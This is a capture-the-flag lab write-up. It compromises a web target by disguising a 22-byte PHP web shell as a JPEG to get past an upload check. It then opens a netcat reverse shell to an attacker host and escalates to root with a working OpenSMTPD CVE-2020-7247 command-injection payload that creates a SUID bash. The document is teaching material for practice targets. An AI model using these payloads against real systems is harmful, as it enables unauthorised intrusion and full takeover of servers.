Writeup by echothrust, submitted 2021-01-11 17:01:42 (`status:OK`)

This is a small fun puzzle target, that aims to demonstrate some of the common mistakes and problems that occur on web applications during development and how certain functions are not safe to be trusted in proving types of files.

Many times things are getting "hidden" on the frontend, but remain active and accessible on the backend code base.

As always we start with our port scan

```
$ nmap -sS 10.0.30.187
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-05 23:44 UTC
Nmap scan report for 10.0.30.187 (10.0.30.187)
Host is up (0.0041s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
```

The checking the headers and visiting the web page shows nothing interesting.

```
$ curl -I 10.0.30.187
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Tue, 05 Jan 2021 23:48:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.23
```

Trying to check the source code with curl produced some strange output. Give it a try `curl 10.0.30.187` and see for yourself. If you tried it then you have a messed up terminal :P

No worries you can fix it by running `reset` and your terminal will get back to normal.

You can check the source code with a browser or by piping the output through the `vis` utility like so `curl 10.0.30.187|vis`, or by redirecting to a file and opening it with your favourite editor etc...

The source code seems to be minified, however close to the end we can see the following code commented out

```
<!--
<form action="upload.php" method="post" enctype="multipart/form-data">
```

```
 Select image to upload:<br/>
 <input type="file" name="image" id="image">
 <input type="submit" value="Upload Image" name="submit">
</form>
-->
```

We have another endpoint that seems to accept file uploads. Testing to upload an image produces the following

```
$ curl -F 'image=@/dev/null' 10.0.30.187/upload.php
Array
(
    [0] => Mimetype not allowed, please upload an image/jpeg file.
)
```

Creating an empty file with `jpg` extension didnt seem to work either.

```
$ touch test.jpg
$ curl -F 'image=@test.jpg' 10.0.30.187/upload.php
Array
(
    [0] => Mimetype not allowed, please upload an image/jpeg file.
)
```

So since both times the error seems to mention MIME types, lets try to set one. The MIME type for the jpeg images is `image/jpeg` so we adapt our curl command accordingly and try again (without success)

```
$ curl -F 'image=@test.jpg;type=image/jpeg' 10.0.30.187/upload.php
Array
(
    [0] => Mimetype not allowed, please upload an image/jpeg file.
)
```

The next logical step is to upload an actual jpeg image and see what this form will do with that, but we hit another wall

```
$ curl -F 'image=@random.jpg;type=image/jpeg' 10.0.30.187/upload.php
Array
(
    [0] => The maximum file size supported is 39 bytes
)
```

So whatever we do, we will have to upload a file that is identified as a jpeg image, caries our payload and is 39 bytes...

Reading a bit about mime types reveals that in order for a file to be recognized as a jpeg image it needs just 2 bytes `\xff\xd8`. This means that whatever the actual file may be, if it starts with those two bytes it will be identified as a jpeg image.

The nice part about this, is that mime types dont check file extensions. So if all we have to do is identify as an jpeg image, we can upload any file we like, say **PHP**?

However we must not forget that we are still under a very tight limitation of 39 bytes. So we start with a simple payload

```
$ printf '\xff\xd8<?=`{$_GET["cmd"]}`;' > sploit.php
$ wc -c sploit.php
      22 sploit.php
$ file sploit.php
sploit.php: JPEG image data
```

We upload the file and try it out.

```
$ curl -F 'image=@sploit.php' http://10.0.30.187/upload.php
Success. file uploaded at images/sploit.php
$ curl "http://10.0.30.187/images/sploit.php?cmd=id"
ÿØuid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Now we have access to execute commands of our liking, lets start a reverse shell to be a bit more flexible. However be aware that the system cleans the uploaded files every few minutes, so dont be surprised if you get `404 Not Found`. Re-upload your file and go at it again.

Notice that we use `nohup` to launch our command. This is so that when our connection through the web Time-out we dont get disconnected from our shell.

```
$ curl "http://10.0.30.187/images/sploit.php?cmd=nohup nc -e /bin/bash 10.10.0.6
4444&amp;"
```

Now that we have our reverse shell connected we can check the system for a few more details. First lets grab the files that may be of interest out of the way

```
$ nc -vl 4444
Listening on 0.0.0.0 4444
Connection received on 10.0.30.187 40328
cat ../upload.php;
cat ../index.php;
```

Checking at the local listening ports and running processes we get the next possible lead.

```
ss -antl
State      Recv-Q     Send-Q         Local Address:Port          Peer Address:Port
LISTEN     0          128                  0.0.0.0:80                 0.0.0.0:*
LISTEN     0          128             127.0.0.11:35701                0.0.0.0:*
LISTEN     0          5                127.0.0.1:25                   0.0.0.0:*
LISTEN     0          128              127.0.0.1:9001                 0.0.0.0:*
```

So we have 3 more services that are only accessible from the local host only.

The port `9001` is often used by the PHP Fastcgi Process Manager (PHP-FPM). Checking the configuration file `/usr/local/etc/php-fpm.d/www.conf` we see that fpm is running as `www-data` and the file is not writeable by our current user, so there is no point in looking into it further.

Checking port `35701` doesn't produce any meaningful output, but port 25 seems to be running OpenSMTPD.

```
echo QUIT|nc localhost 25
220 cupidme.echocity-f.com ESMTP OpenSMTPD
221 2.0.0 Bye
```

Checking online we find `CVE-2020-7247` and after a bit of studying of the available exploits for it i created the following payload to try out. The payload makes a SUID/SGID copy of `/bin/bash` at `/tmp/joy`.

```
HELO cupidme
MAIL FROM:<;install -m 6755 /bin/bash /tmp/joy;>
RCPT TO:<root>
DATA
.
QUIT
```

Note that you will have to copy paste one line at a time otherwise you may get pipelining errors from the SMTP server.

If everything went well with the payload we should have our suid/sgid shell and all we have to do is run it. Notice that we pass the option `-p` to the bash copy, which allows us to turn on privileged mode, which allows us to retain the effective uid/gid

```
ls -la /tmp/joy;
-rwsr-sr-x 1 root root 1168776 Jan  6 01:23 /tmp/joy
/tmp/joy -p;
id;
```

```
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
```

And we're effectively root. Grab the remaining flags and get your headshot!!!

NOTE: We have a whole new target dedicated just to this vulnerability, so jump over to the CVE-2020-7247 target to play with it once you're done here :)